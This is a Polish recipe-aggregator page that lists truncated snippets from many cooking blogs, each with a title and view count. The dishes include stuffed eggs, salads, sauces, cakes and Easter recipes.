wierzch położyć placek a masa orzechową.Najlepiej ciasto tak przygotowane postawić do lodówki i na następny dzień cieszyć się pysznym smakiem miodowym napotykając się na chrupiące orzeszki w karmelowym sosie

Różne smaki w kuchni
Fit obiad. Pierś z kurczaka z kaszą i czosnkiem niedźwiedzim. 962

swoją objętość a łodyżki staną się miękkie ale nie rozgotowane. W razie potrzeby delikatnie oprószyć solą himalajską. To danie bardzo mi posmakowało.  Czosnek wyszedł idealny, pierś soczysta, a sosem który został na patelni polałam delikatnie kaszę. Palce lizać

Jemy Pijemy
Krewetki w kremowym sosie śmietanowym ze szpinakiem i winem 221

każdej postaci – od klasyki czyli krewetek z czosnkiem, chili, natką pietruszki i winem po risotta i makarony z ich dodatkiem. Dziś mam dla Was Krewetki w kremowym sosie śmietanowym ze szpinakiem i winem podane z makaronem. Bardzo fajne połączenie smaków i robi się szybko. Polecam! Składniki: 20 – 24 duże krewetki duża garść liści szpinaku 200 ml śmietany kremówki

Moja pasja smaku
Sałatka z kukurydzy i groszku 248

Sałatka, którą jestem w stanie przygotować właściwie w każdej chwili z produktów, które mam w kuchni niemal zawsze. Doprawiona sosem z jogurtu naturalnego i czosnku. Jajka ugotować na twardo i ostudzić. Następnie

Bullio
Jajka w sosie kaparowym - przekąska wielkanocna 175

koperku dodaj majonez, kapary i dopraw musztardą i pieprzem. Dokłądnie wymieszaj. 4. Jajka ugotuj na twardo, ostudź, obierz i pokrój na ćwiartki. 5. Przełóż na talerz, polej sosem i posyp kiełkami rzodkiewki. INSTRUKCJA - KROK PO KROKU

Atlas Smaków
Rollo mix smaków 207

Dawno nie było u nas tortilli, więc nadrabiam zaległości. Tortilla mix smaków a dlaczego ? Sami się przekonacie jak zobaczycie jakie są składniki. Przyprawa do gyrosa, mieszanka chińska, sos arabski i jeszcze inne. Ale zapewniam Was, że całość była mega smaczna. A moja tortilla prezentuje się na kolejnym talerzu od Galeria Cuda Świata - antyki&design , która ma w swojej ofercie

Ewa w kuchni
Wielkanocne śniadanie. Zapiekane jajka na kremowym chrzanowym sosie! 224

cebulki. Wstaw do pieca, pieczemy 8 minut w temperaturze 190 stopni C. W tym czasie wymieszaj śmietankę, chrzan i majonez, dopraw ewentualnie pieprzem. Na talerz nałóż po dwie łyżki sosu, na wierzch ułóż upieczone jajo, posyp dymką, podaj z młodą rzodkiewką. Pyszne! Polecam Wam gorąco przepis na śniadanie wielkanocne i oczywiście majonez marki Społem - Majonez Kielecki! Nowa etykieta Majonezu

SMYKWKUCHNI
Jajka z oliwkami 316

Składniki: 5 jajek kilka gałązek szczypiorku 2-3 łyżki sosu 1000 wysp Fanex sól, pieprz garść oliwek Przygotowanie: Jajka ugotować na twardo, obrać i przekroić na pół. Wyjąć żółtka i rozgnieść widelcem, … Czytaj dalej Jajka z oliwkami

czarrna od kuchni
Makaron z cukinią i szparagami 175

talerz. Następnie dodać na patelnię kawałki szparagów i również grillować, często mieszając aż szparagi będą miękkie. Dodać ugotowany makaron i całość wymieszać. Wyłożyć na talerze i polać kilkoma łyżkami sosu pesto

wyzwania kuchenne
Pieczone udźce kurczaka w miodowo-musztardowym sosie 199

nagrzanym piekarniku do 180°C przez 50 minut. Na patelni rozgrzewamy miód, dodajemy musztardę, sól i pieprz. Mieszamy aby uzyskać jednolitą konsystencję. Dodajemy upieczonego kurczaka i obtaczamy go równomiernie sosem

Qchnia po prostu
Mazurek bakaliowy 234

Składniki: 3/4 szklanki mąki pszennej tortowej 3/4 szklanki mąki krupczatki 150 g margaryny 2 łyżki cukru pudru 2 ugotowane żółtka garść migdałów kilka duszonych śliwek i daktyli sos toffi Fanex … Czytaj dalej Mazurek bakaliowy

czarrna od kuchni
Imbirowo-miodowe jabłuszka z opiekanymi płatkami. Deser na ciepło. 224

rozgrzanej patelni rozpuszczamy masło, dodajemy miód, chwilę mieszamy. Następnie dodajemy nasze jabłka. Smażymy mieszając i obracając ostrożnie jabłka tak długo aż te zmiękną, a na patelni powstanie karmelowy sos. Jabłka z naszym imbirowym karmelem przekładamy na półmisek, całość posypujemy pełnoziarnistymi opiekanymi płatkami żytnimi i polewamy resztą karmelu z patelni. Podajemy od razu. Smacznego

Słodkie okruszki
Różowe jajka faszerowane 243

anchois i kaparkami Marynowane jajka Faszerowane jajka z serkiem i pomidorami Jajka faszerowane z tuńczykiem Jajka faszerowane z ciecierzycą Jajka faszerowane żółtym serem i pomidorami Jajka w żółtym sosie chrzanowym Jajka faszerowane pastą krabową Jajka faszerowane pastą łososiową Różowe jajka faszerowane Czas przygotowania: 15 minut Składniki: 4 jajka ugotowane na twardo 1 upieczony burak 1 mały ząbek czosnku 2 łyżki

Kulinarne przygody Gatity
Naleśniki z pastą an z ostrym sosem czyli nic się nie marnuje 181

miksujemy z cukrem i odrobiną oleju na gładką pastę. Zalewę od fasoli słodzimy i gotujemy, aż zgęstnieje. Dodajemy chili. Pastę wkładamy do naleśników, które formujemy w rulony. Polewamy pikantnym sosem z zalewy

Kryzysowa Książka Kucharska
Jajka w sosie warzywnym 228

okresie wielkanocnym jemy dużo jajek i staram się je jakoś urozmaicać. Tym razem zrobiłam w sosie na bazie majonezu i śmietany z warzywami. Szybkie do zrobienia i bardzo smaczne. Składniki: 3 jajka ugotowane na twardo 7 rzodkiewek kawałek czerwonej papryki kawałek zielonego ogórka 3 łyżki majonezu Folwark 1 łyżka śmietany 18% gęstej sól pieprz kiełki brokuła ale-raj Przygotowanie: Ogórek

Ala piecze i gotuje
Wegetariański żurek z jajkiem i opiekanymi ziemniakami. 192

laurowe 2 łyżeczki suszonego majeranku 6 ziaren ziela angielskiego 6 ziaren czarnego pieprzu 4 łyżki śmietanki 30% 1 płaska łyżeczka cukru (nie jest wyczuwalny, ale pogłębia smak zupy) sól, sos sojowy do smaku pieprz ziołowy do smaku 1 cebula olej do smażenia cebuli sól papryka wędzona w proszku 1 kg ziemniaków olej  jajka gotowane  Przygotowanie żurku: Obraną

Codziennik Kuchenny
Jajka faszerowane szynką i koperkiem 177

ciągu roku niewiele jest takich dni kiedy przygotowujemy jajka w takiej postaci. Może dlatego tak bardzo nam wtedy smakują. Te jajka faszerowane szynką, z dużą ilością świeżego koperku i sosem musztardowym to ulubione danie męża. Nic dziwnego, bo kto mógłby oprzeć się dobrej szynce?  10 jajek kilka plastrów dobrej szynki 3-4 łyżki majonezu 2 łyżki posiekanego koperku

Wilczkowy Świat - nasze codzienne gotowanie
pyszna ,zdrowa sałatka z brukselki i orzechów 197

cytryny i miód, sól i pieprz ,dokładnie wymieszać do połączenia składników . Przełożyć plastry brukselki do miski, dodać paprykę,jabłko,ser tarty,posiekane orzechy.. Wszystko wymieszać z sosem i pozostawić na 5-6minut do przegryzienia się składników. .:))   Skuteczny detoks jest możliwy dzięki siarce, którą jest w brukselce. Małe, zielone warzywa zawierają również  witaminę K oraz kwasy omega

w mojej kuchni
Omlet biszkoptowo-waniliowy 179

przygotowany omlet jest puszysty, delikatny i sycący. Można go podawać z ulubionymi dodatkami, np. owocami, dżemem, bitą śmietaną czy różnymi sosami (polecam jagodowy - Fanex , reeewelacja). Doskonale sprawdzi się na śniadanie oraz jako zaspokojenie ochoty na "coś słodkiego." (1 duży lub 2 małe) 2 jajka 2-3 łyżki mleka   1,5 łyżki mąki (płaskiej) 1/2 łyżeczki cukru 1/2 opakowania cukru

Di gotuje
Biała kiełbasa zapiekana w cieście francuskim 214

pieczenia. Ciasto posmarować roztrzepanym jajkiem i posypać sezamem. Wstawić do piekarnika nagrzanego na 200 C i zapiekać aż ciasto dobrze się przyrumieni. Ja swoje kiełbaski podałam z buraczkami i sosem chrzanowym . *Moje kiełbaski były małe więc ciasta wystarczyło akurat na oblepienie 6 kiełbasek, jeśli kiełbaski będą duże to oblepimy nim mniej kiełbasek

Monia miesza i gotuje
NALEŚNIKI AŻUROWE 191

swojej rodzinki przygotowałam naleśniki, ale nie takie tradycyjne, tylko ażurowe. Robi się je z ciasta naleśnikowego a podałam je z konfiturą. Można je również podać polane syropem klonowym, ulubionym sosem, posypane cukrem pudrem albo ze śmietaną i owocami. Ażurowy kształt wygląda bardzo efektownie a przygotowane są dosłownie w kilka chwil.  Do naleśników wykorzystałam  domową konfiturę z borówki amerykańskiej

Zrób to smacznie
Racuszki twarogowo kokosowe 223

stron, na średnim ogniu (muszą być usmażone wewnątrz, zbyt wysoka temperatura spowoduje za szybkie rumienienie się ciasta). Racuszki twarogowo kokosowe podajemy z czym kto lubi - z konfiturą, owocami, sosem owocowym, śmietaną, jogurtem, oprószone cukrem pudrem/stewią/ksylitolem… Z podanych wyżej proporcji zrobiłam 24 racuszki. Racuszki twarogowo kokosowe możemy podać na śniadanie, obiad, czy kolację. Najlepsze są świeże, zaraz

mojewypiekiinietylko
,,Rolada z kurczaka z pistacjami i żurawiną’’ 275

musztardą, solą i pieprzem. Dokładnie mieszamy. Kurę dobrze nacieramy przygotowaną marynatą i pieczemy 90 minut w piekarniku nagrzanym do 170 st. C. Co kilkanaście minut podlewamy mięso powstałym sosem. Zwiniętego kurczaka obwijamy na około szpadatem i papierem do pieczenia a następnie wkładamy do rozgrzanego piekarnika w temp. 200 stopni

Podróż w kulinaria
Wielkanocne menu- 35 przepisów na święta 6546

śledziowa do pieczonych ziemniaków Jajka nadziewane ze srirachą, serowym chipsem i bekonową posypką Portugalska pasta z sardynek Pasta z tuńczyka – nie tylko na kanapki Sałatka z paluszków krabowych w sosie Marie Rose Sałatka z paluszków krabowych Ceviche z dorsza — bałtycka ryba i cytrusy CIASTA I DESERY Kremowy sernik nowojorski na owsiano-orzechowym spodzie Gniazdka bezowe z herbatą matcha i owocami

Karo in the Kitchen
Bitki z szynki pieczone wg Teściowej 261

ulubioną surówką i kluskami łyżką kładzionymi. W moim domu to danie hitowe: Mąż uwielbia wszystkie jego składniki, natomiast dla Maksia mięsko mogłoby nie istnieć - byleby dużo klusek i sosu było

Kuchnia po mojemu
Falafel 147

Wegańskie arabskie kotleciki z ciecierzycy i ziół, u mnie w wersji pieczonej w piekarniku. Podawane w bułce lub samodzielnie z sosem tahini, hummusem lub jogurtem. Składniki na około 30 sztuk: 500 g ciecierzycy namoczonej przez noc mała cebula 3 ząbki czosnku 1/2 pęczka natki pietruszki 1/2 pęczka kolendry 2 łyżeczki soku z cytryny łyżeczka soli łyżeczka sody oczyszczonej 1/2 łyżeczki

wyzwania kuchenne
Ostre krewety na makaronie 155

łyżki śmietany 18 % Do rondelka wrzucam masło, czosnek, chilli, chwilę duszę. Dodaję obrane i oczyszczone krewetki. Chwilę duszę. Dodaję wyciśniętą cytrynę i pietruszkę. Jeszcze chwilę duszę i dodaję śmietanę. Sos musi przejść smakiem krewetek. Podaję z makaronem tagliatelle lub spaghetti. Smacznego.   Artykuł Ostre krewety na makaronie pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Fit sałatka z kurczakiem w sezamie 469

krążki cebulę. Na wierzch układamy upieczonego kurczaka. Dressing miodowo musztardowy: 4 łyżki oleju lnianego zimno tłoczonego Oleania 2 łyżki octu balsamicznego 1 łyżka miodu 1 łyżka musztardy Wszystkie składniki sosu dokładnie mieszamy ze sobą i polewamy nim obficie nasze danie. Smacznego

Cynamonowe szczęście
Szczupak w szpinaku i śmietanie 198

oczywiście rybka. Kupiłam bardzo ładny kawałek ryby. Oczy mi się śmiały. Jak wiadomo rybka jest smaczna i zdrowa. Szczupak jest dosyć suchą, zwartą rybą, więc warto zrobić go z sosem. Ja proponuję szpinak. Było pysznie, no właśnie było… Składniki: Szczupak ( ja miałam fileta około 800 gram ) Szpinak mrożony 300 gram Śmietana 18% 100 ml Śmietana 30 % 50 ml Masło klarowane

Smaki Ewy
Kurczak w sosie ze szpinakiem i suszonymi pomidorami 169

Lubie szybkie dania obiadowe. A taki jest właśnie ten sos. Możecie podać go z makaronem lub ryżem. Nam lepiej smakuje z makaronem ale to kwestia gustu. Może się skusicie i zrobicie taki na obiad ? Szybko i smacznie - to jest to :) Rozwiń i czytaj przepis

Ewa w kuchni
SURÓWKA Z KALAREPKI I RZODKIEWEK 184

drobną kostkę ogórki - posolić,wymieszać i odstawić na 10 min. Po tym czasie odlać sok,połączyć go ze śmietaną oraz pieprzem. Do surówki dodać pokrojony szczypiorek oraz przygotowany sos ze śmietany i soku - dokładnie wymieszać. Wierzch surówki posypać kiełkami rzodkiewki

Niespełnione zdolności kulinarne
"Sketch" Sebastiana Olmy w Teatrze Wielkim 167

wcześnie na obiad, więc zdecydowałyśmy się iść w kierunku różnych kanapek, które serwuje Sketch. Zamówiłyśmy kanapkę Cajun Spice Chicken z pieczonym batatem (24 zł), kanapkę Philly Cheese Steak z sosem BBQ (26 zł) i Sketch Burger z wołowiny Black Angus (29 zł). Kanapki były przeciętne, nic specjalnego ich nie wyróżniało, natomiast domowe frytki były pyszne. Na deser zamówiłyśmy kremowy sernik

Kulinarne przygody Gatity
Babki na świąteczny stół 217

białek 6.Babka majonezowa 7.Ananasowa babka z kokosowymi jajkami w koszyczkach 8.Kakaowe babeczki drożdzowe z kruszonką 9.Babeczki murzynki z bakaliami i borówkami 10.Mięsna babka z ziemniaczanym gnocchi z sosem maślano ziołowym 11.Babka ziemniaczana z szpinakiem, serem i szynką 12.Kruche babeczki z kremem o smaku adwocata i bezami

VioletoweKucharzenie
Muffinki a'la pizza 301

środka krążki ciasta drożdżowego, łyżeczką nakładać farsz. Posypać resztą startego sera, piec w nagrzanym piekarniku do 180*c przez 25-30 minut. Podawać z dowolnymi dodatkami np. ketchupem lub sosem czosnkowym. Smacznego

Wanilia i Kardamon
GULASZ Z SOCZEWICĄ I MAKARONEM – Minestra di lenticchie e pasta 297

znów zabieram Was na wycieczkę do Włoch! Mam dla Was przepis na danie wegetariańskie – mimo, że bez mięsa to niesamowicie sycące i rozgrzewające. Połączenie makaronu z soczewicą i sosem pomidorowym na czerwonym winie tworzy fantastyczną całość rodzaju gulaszu albo gęstej zupy, której nawet fani mięsa się nie oprą. Ja jestem zachwycona – mam nadzieję, że i Wy będziecie! Koniecznie

Ostra na Słodko
Babka podwójnie czekoladowa. 212

szkl. cukru kryształu lub trzcinowy Skworcu 4- 5 łyżek kakao Skworcu 2 jajka 1 szkl. śmietany 18% 2 szkl. mąki pszennej 1 łyżeczka proszku do pieczenia Skworcu 1 łyżeczka sosy oczyszczonej     Przygotowanie; Masło z cukrem należy utrzeć mikserem aż będzie jasna i puszysta masa. Po tym czasie wbijać jajka , ciągle miksując. Następnie na przemian dodawać mąkę wymieszaną

Radość kipiąca uśmiechem.
pierożki z ciasta parzonego z dwoma farszami (sofficini) 189

farsz i sklejamy jak pierogi.  Panierujemy w jajku wymieszanym z sola i pierzem i obtaczamy w bułce tartej. Smażymy na złoty kolor. Można podawać z ketchupem lub dowolnym sosem albo soute :-) Polecam pierożki sofficini są przepyszne, bardzo sycące, łatwe w przygotowaniu. Smacznego :-)  PS Polecam Wam fajną promocję Winiary :-) Przy zakupach za minimum 10 zł w wybranych salonach Kolporter

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Razowe penne z kurczakiem, rukolą i suszonymi pomidorami 253

gotujemy al dente zgodnie z przepisem na opakowaniu. Mięso kroimy w kostkę i podsmażamy na łyżce oleju z zalewy. Doprawiamy solą, pieprzem i posiekanym tymiankiem. Wlewamy jogurt i redukujemy sos na małym ogniu. Dodajemy posiekane pomidory i odcedzony makaron. Mieszamy całość z rukolą i od razu podajemy. Smacznego!   1 porcja makaronu - 550 kcal - białko - 40 g - tłuszcze

Moje Kuchenne Rewelacje
MIĘSO Z WARZYWAMI I PRZYPRAWĄ GYROS 185

Frytki. Sałata z pomidorem, rzodkiewką, ogórkiem i sosem czosnkowym oraz natką. Mięso z szynki z przyprawą kebab-gyros i warzywami (pieczarki, cebula, papryka

JejKuchnia
Rolada szpinakowo-serowa 248

uwaga, aby się nie poparzyć!). Położyć ponownie na blachę złączeniem do dołu. Piec jeszcze 30 minut. 4. Roladę całkowicie ostudzić, przed podaniem pokroić w plastry. 5. Świetnie smakuje z sosem czosnkowym. ( KLIK ) Smacznego

Kuchnia domowa Ani
Makaron mie z kurczakiem i grzybami mun 179

Makaron mie jest jednym z elementów kuchni azjatyckiej. Jest sporządzany z mąki pszennej i ma postać grubych nitek. Jest świetnym dodatkiem do kurczaka i warzyw. Danie przyprawiam sosem sojowym, chilli

Bullio
Faszerowana papryka zapiekana 217

napełnić je farszem i ułożyć w wysmarowanym tłuszczem naczyniu żaroodpornym. Piekarnik nagrzać do temperatury 200 stopni. Wstawić naczynie z papryką i zapiekać około 20 minut. W tym czasie Przygotować sos. Ser zetrzeć na tarce i 2/3 wymieszać ze śmietaną. Doprawić solą i pieprzem. Zapieczone papryki zalać śmietaną i posypać pozostałym serem. Ponownie wstawić do piekarnika i zapiekać jeszcze około

kuchnia doski
Cafe Furkot | Warszawa 206

nietypowe połączenie, które mi smakowało. Ciekawym doświadczeniem również były dla mnie żołądki (które uwielbiam!) w dwóch odsłonach – jedne zapiekane z pomidorami i serem, a drugie podane z sosem śmietanowym z marchewką. Oprócz podrobów podano nam także kopytka w kilku wariacjach smakowych, chrupiące placki ziemniaczane oraz tagine. Smacznym zwieńczeniem wieczoru było domowe ciasto, na które z pewnością tam wrócę

Kuchnia Bazylii
Zapiekanka warzywno-makaronowa z serem korycińskim 264

doprawiając je szczyptą soli czosnkowej. Gotowe warzywa z patelni przekładamy do naczynia do zapiekania. Następnie dodajemy dwie garście ugotowanego wcześniej makaronu świderki. Mieszamy składniki. Całość polewamy naszym a la sosem serowym. Naczynie wkładamy do nagrzanego do 150 stopni piekarnika na środkowy poziom. Całość zapiekamy około 25-30 minut. Po wyjęciu i lekkim przestygnięciu zapiekanki posypujemy ją po wierzchu posiekaną zieloną

Słodkie okruszki
„O ziołach i zwierzętach” Simony Kossak, cukier fiołkowy i ocet fiołkowy 201

odstawiamy na minimum 2 tygodnie. Kiedy sobie o nim przypomnimy odcedzamy kwiatki przez sitko, a gotowy ocet fiołkowy przelewamy do czystego słoiczka. Przechowujemy zakręcony i używamy jako składnik sosu do sałatek albo rozcieńczamy i stosujemy jako kosmetyk. Cukier fiołkowy Składniki: pół szklanki cukru pudru pół szklanki świeżych fiołków (tylko płatki kwiatków) Jak przygotować cukier fiołkowy? Cukier z płatkami fiołków rozetrzyj

Ugotowane pozamiatane
Najprostsze placki z marchewki 175

mieszamy. Konsystencja powinna być dość zwarta, tak aby łatwo nakładało się porcję masy na patelnię. 4. Placki smażymy na mocno rozgrzanym oleju do zrumienienia. Placki podałam z  lekkim sosem czosnkowym . Jeśli lubicie warzywne placki, koniecznie wypróbujcie również te z  cukinii . SMACZNEGO

Bez Cebuli
Placki z cukinii z piekarnika 289

prostu placki z cukinii. Smaczne. Tym razem nie smażone,  tylko upieczone w piekarniku, więc bez tłuszczu. Można je podać z dowolnym sosem na bazie jogurtu, ciepłe lub zimne. Każda wersja smaczna. Polecam! inspiracją był przepis z  tej  strony składniki 2 średnie zielone cukinie (ok 300 g po odciśnięciu) 60 g tartego parmezanu 2 ząbki czosnku, starte

Stare Gary
Jajka faszerowane tuńczykiem z kawiorem 120

Ciekawe połączenie smaków : jajka, kawior i pasta z tuńczyka. Wypróbujcie koniecznie.  Składniki 6 jajek 1 puszka tuńczyka w sosie własnym 3 łyżki majonezu 1 słoiczek czarnego kawioru 1 słoiczek czerwonego kawioru sól pieprz Przygotowanie Jajka ugotowałem na półtwardo. Obrałem, przekroiłem na połówki. Tuńczyka lekko osączyłem, połączyłem z majonezem. Doprawiłem do smaku. Pastę nałożyłem łyżeczką na połówki jajek

R'n'G Kitchen
Domowy chrzan 226

rodzinnym chrzan obowiązkowo musi być na świątecznym stole. Pyszny aromatyczny, kremowy i bardzo ostry taki jak najbardziej lubię. Taki chrzan jest doskonałym dodatkiem do mięs, wędlin, jaj, sosów czy zup. Polecam Składniki: 2 korzenie chrzanu 2 łyżki majonezu sok z 1/2 cytryny sól, cukier  Wykonanie: Chrzan moczymy w wodzie przez 1 godzinę. Obieramy i ścieramy na tarce

magiczna kuchnia Kasi
Jajka faszerowane 171

faszeruje różnymi pastami. Ja dzisiaj proponuję farsz tuńczykowy, złoty z żółtym serem, z chrzanem oraz z kiełkami. JAJKA FASZEROWANE 1) Farsz tuńczykowy Składniki: 4 żółtka 1 puszka tuńczyka w sosie własnym 2 łyżki majonezu sól i pieprz do smaku Tuńczyka odsączamy z zalewy, łączymy widelcem z ugotowanymi na twardo żółtkami oraz majonezem. Masę doprawiamy do smaku sola i pieprzem

Bon appetit mon amie
Placki z kiełbasą słoikową, suszonymi pomidorami, polędwicą i serkiem topionym. 207

odstawiamy na 5 minut. Na patelni rozgrzewamy kilka łyżek oleju, łyżką nakładamy porcje ciasta. Smażymy z obydwu stron po kilka minut na złoty kolor. Podajemy z ketchupem lub dowolnym sosem. Życzę smacznego :) Asia

Sama słodycz i szczypta chili
Pieczona pierś z gęsi z dodatkiem borówek 196

prawda? Chcę Wam dzisiaj zaproponować prostą, ale pyszną potrawę: pieczoną pierś z gęsi. Można ją podać jako danie obiadowe, a wtedy wystarczy ugotować (lub upiec) ziemniaki, zrobić sos (np. na bazie dobrej śmietany) i przygotować dowolne, ulubione sałatki. Można także podać ją jako przekąskę, bo taka pierś będzie pyszna nawet na zimno. Bardzo smacznie komponuje się z borówką lub innymi

Codzienna kuchnia niecodzienna
Sałatka kuskus z mango i papryką 279

moim balkonie bratki, niezapominajki i prymulki. Zachciało mi się równie kolorowej sałatki jak te kwiatki :)  Idealna sałatka do słoika, do pracy. Robi się fik-mik, bez zbędnego sosu....uzależniająca :) Składniki: (na dwie osoby) 1/2 szklanki kuskusu 100 g papryki (użyłam mini papryk) 100 g mango 100 g świeżego ogórka duża garść świeżej bazylii 1 łyżka sezamu Kuskus przygotować

Delicious Titbits
Ziemniaki pieczone 202

nożem naokoło tak by stworzyć spiralę. Smarujemy olejem i posypujemy ulubionymi przyprawami. Wstawiamy do piekarnika nagrzanego na 180 stopni na około 35-40 minut. Podajemy na ciepło np. z sosem czosnkowym. Smacznego

Kolizje Smaków
SAŁATKA WIOSENNA 211

Wiosenna sałatka z rzodkiewką, pomidorami i prażonym słonecznikiem. Uwielbiam takie lekkie sałatki. Do sałatki podaję jogurt naturalny by nie dodawać zbędnych kalori w sosie. Polecam i smacznego.  SKŁADNIKI: 2 garście mix sałat np. Z marchewki 5 rzodkiewek 1 papryczka mini słodka 1 pomidor 2 łyżki ziaren slonecznika 2 łyżki jogurtu naturalnego Sól i pieprz do smaku PRZYGOTOWANIE:  Ziarna

Gotowanie Patki
Karkówka z cukinią 231

smaku solą oraz pieprzem , i gotowe do podania z kaszą czy ziemniakami , a na koniec taki sosik można zaprawić mąką , ale to już według uznania, ja w tym przypadku sos pozostawiłam bez zaprawiania .                 Smacznego

Mój Smak
Pałki kurze faszerowane grzybami. 193

Zrobiłam to danie na urodziny mojego wnuczka. Danie super, łatwo się je serwuje i odgrzewa. Było bardzo dobre. Tutaj potrzebne nam będą pałki kurze bez kości

Kuchnia Pokoleń
OCET ESTRAGONOWY 163

pikantny smak, można aromatyzować zwykły stołowy ocet. Ocet aromatyzuje się ziołami lub nasionami ziół takich jak estragon, bazylia, kminek, koper oraz dziurawiec. Taki ocet można wykorzystać przy robieniu sałatek, sosów, a także do dań rybnych i mięsnych . Dzisiaj przedstawiam przepis na domowy ocet estragonowy. Polecam! W dziale "Przetwory domowe" znajdziecie więcej przepisów na domowe przetwory z owoców i warzyw

Moja Książka Kucharska
OCET WINNY 165

małych butelkach, max. półlitrowych.  Dzisiaj przedstawiam przepis na tradycyjny, sprawdzony przez wiele pokoleń gospodyń, oryginalny sposób na przygotowanie octu winnego. Ocet ten idealny jest do doprawiania sałatek, sosów oraz potraw rybnych i mięsnych.   Polecam przepis na ocet winny! SKŁADNIKI: ok. 5-6 jabłek 2-3 gruszki PRZYGOTOWANIE: Krok 1. Jabłka i gruszki obieramy (obierzyny zachowujemy), obrane owoce kroimy

Moja Książka Kucharska
OKON MORSKI PIECZONY W ZIOLACH a'la GORDON RAMSAY 173

pieczemy w 180 stopniach przez około 20 minut na środkowym poziomie piekarnika. Po upieczeniu, rybę odstawiamy na około 10 minut, aby odpoczęła ( nie odwijamy folii). Okonia podajemy gorącego, polewamy sosem wytworzonym podczas pieczenia. Smacznego :) Moja Książka Kucharska poleca również inne proste przepisy na RYBY >>> * zdjęcia są przykładowe, nie odzwierciedlają potrawy

Moja Książka Kucharska
PRZECIER POMIDOROWY 168

PRZECIER POMIDOROWY Sezon na przetwory domowe w pełni. Dzisiaj przepis na przecier pomidorowy własnej produkcji. Możemy go wykorzystać jako baza do zupy pomidorowej, sosu pomidorowego, jako dodatek do kotletów mielonych - właściwie w każdej kuchni niezastąpiony, zwłaszcza ten przygotowany w domu. Polecam przepis! SKŁADNIKI: 1kg pomidorów 10-20g soli 10-20g cukru PRZYGOTOWANIE: Krok 1. Przygotowujemy niewielkie słoiczki oraz

Moja Książka Kucharska
TURECKA SALATKA KISIR 183

skomplikowana. Jada się t am dużo mięsa, warzyw i nabiału. W turcji, podobnie jak w pozostałych krajach bałkańskich , bardzo popularny i świetnie nam znany jest cacik - podawany na zimno sos, któr y składa się z jogurtu wymieszanego z siekanym świe żym ogórkiem i czosnkiem. No i oczywiście kebab , czyli "kęs mięsa", który zdobył popularność na całym świecie, a na terenach

Moja Książka Kucharska
ORIENTALNE GRZANKI 180

paluszkami krabowymi. Wy możecie jednak popróbować innych smaków. Myślę, że świetnie wyjdą z kremowym serkiem z papają i curry oraz podsmażonymi w gyrosie kawałkami kurczaka. Grzanki podaj ę z sosem tzatziki. Jak się okazało, grzanki są świetne np. jako zakąska do piwa - więc polecam na przyjęcie, ale nie tylko - na kolację, na obiad. Ponieważ świetnie smakują także na zimno, można

Moja Książka Kucharska
DUSZONE W GLINIANKACH PIEROGI Z MIESEM 192

siekam, podsmażam na 2 łyżkach masła z odrobiną soli i cukru. Krok 3. Mięso studzę, kroję na kawałki, mielę wraz z podsmażoną cebulą, pieczoną marchewką oraz pietruszką - mieszam z sosem spod pieczenia mięsa i warzyw, doprawiam farsz solą oraz pieprzem - w razie potrzeby dosypuję bułki tartej. Porcje ciasta na pierogi rozwałkowuję, wykrawał kółka, nakładam na nie farsz i zalepiam brzegi

Moja Książka Kucharska
Jak przygotować zielone szparagi 210

wysokiego garnka gotujemy szparagi normalnie na leżąco, bez przykrycia.  Czas gotowania szparagów to od 7 - 10 minut. Widelcem możemy sprawdzić miękkość szparaga.  Szparagi możemy podać np z sosem holenderskim lub koperkowym

Mój pomysł na
Potrawka z kurczaka 189

cebulę na łyżeczce oleju. 3. Do cebuli dodajemy rozdrobnione mięso z piersi kurczaka i posiekany koperek. 4. Całość doprawiamy do smaku solą, pieprzem i zagęszczamy jogurtem greckim (nie gotujemy sosu, ponieważ może się zważyć). 5. Potrawkę podajemy z ziemniakami i ogórkiem kwaszonym. Potrawka jest bogata w: - pełnowartościowe białko (pochodzące z mięsa), które pełni funkcje budulcową. Wartość odżywcza jednej porcji: Porcja

Zdrowe odżywianie w pięciu smakach
Wytrawne syrniki – serowe placki ze szczypiorem i wędzonym boczkiem 264

placki z dosłownie kilku składników – świeżego twarogu, jajek i odrobiny mąki. Najczęściej podaje się je tak samo jak pancakes – na słodko, z sezonowymi owocami, dżemem, powidłami, słodką śmietanką, owocowym sosem, waniliowym kremem. Ja zrobiłam syrnikowy przegląd lodówki – świeży wiosenny szczypior i swojski wędzony boczek pasowały! Chciałam zrobić słodki obiad ale okazało się, że nie ma na niego chętnych Cóż, przyszło

Karo in the Kitchen
Paprykarz z kurczaka 175

obrać, posiekać, przesmażyć na oleju, dodać kawałki kurczaka, zrumienić, zalać bulionem i dusić pod przykryciem na małym ogniu przez 1 godzinę i 20 minut, uzupełniając odparowany płyn wodą doprawić sos, dodać śmietanę z mąką i dusić jeszcze przez kilka minut. Podawać z kluseczkami lub ziemniakami

Gotuj zdrowo!Guten Appetit!
Szaszłyki z białą kiełbasą, mięsem wieprzowym, cukinią, papryką ... 190

fantazji.  Gotowe szaszłyki układać  na rozgrzanej patelni grillowej. Piec przez  kilkanaście minut co jakiś czas obracając aby wszystkie składniki równo się podpiekły.  Podawać z dowolnymi sosami, dipami, świeżymi sałatkami oraz pieczywem lub pieczonymi ziemniaczkami . Ja osobiście uwielbiam serwować szaszłyki razem z ryżem :) SMACZNEGO :) (adsbygoogle = window.adsbygoogle || []).push

zielonacukinka
Jajka faszerowane tuńczykiem 423

farsz do jajek jest tuńczyk i chrzan. Czas wykonania: 30 min Ilość porcji: 6 sztuk (3 porcje) Składniki: 3 jajka 1 puszka tuńczyka w sosie własnym 1 duża łyżka majonezu 1 łyżeczka tartego chrzanu 2 – 3 łyżki posiekanej natki pietruszki szczypta pieprzu i soli do smaku Przygotowanie: Jajka gotować przez 10 minut z dodatkiem

KuchniaWeDwoje.pl
Kurczak pieczony z czosnkiem niedźwiedzim 249

skórką. Można podawać od razu, można też zmniejszyć temperaturę do 150 stopni i trzymać tak kurczaka do czasu podania. Przed podaniem mięso podzielić na 4 części, lekko polać wytworzonym sosem. Smacznego

Stare Gary
Schab z bakaliami 189

Mięso wkładamy do rękawa do pieczenia lub do naczynia żaroodpornego, wlewamy wino z marynowania bakalii i pieczemy około 90 minut. Mięso pieczone w naczyniu żaroodpornym co jakiś czasu podlewamy sosem z pieczenia. SMACZNEGO

Smak mojej kuchni
Sałatka ryżowa z tuńczykiem i fasolą 206

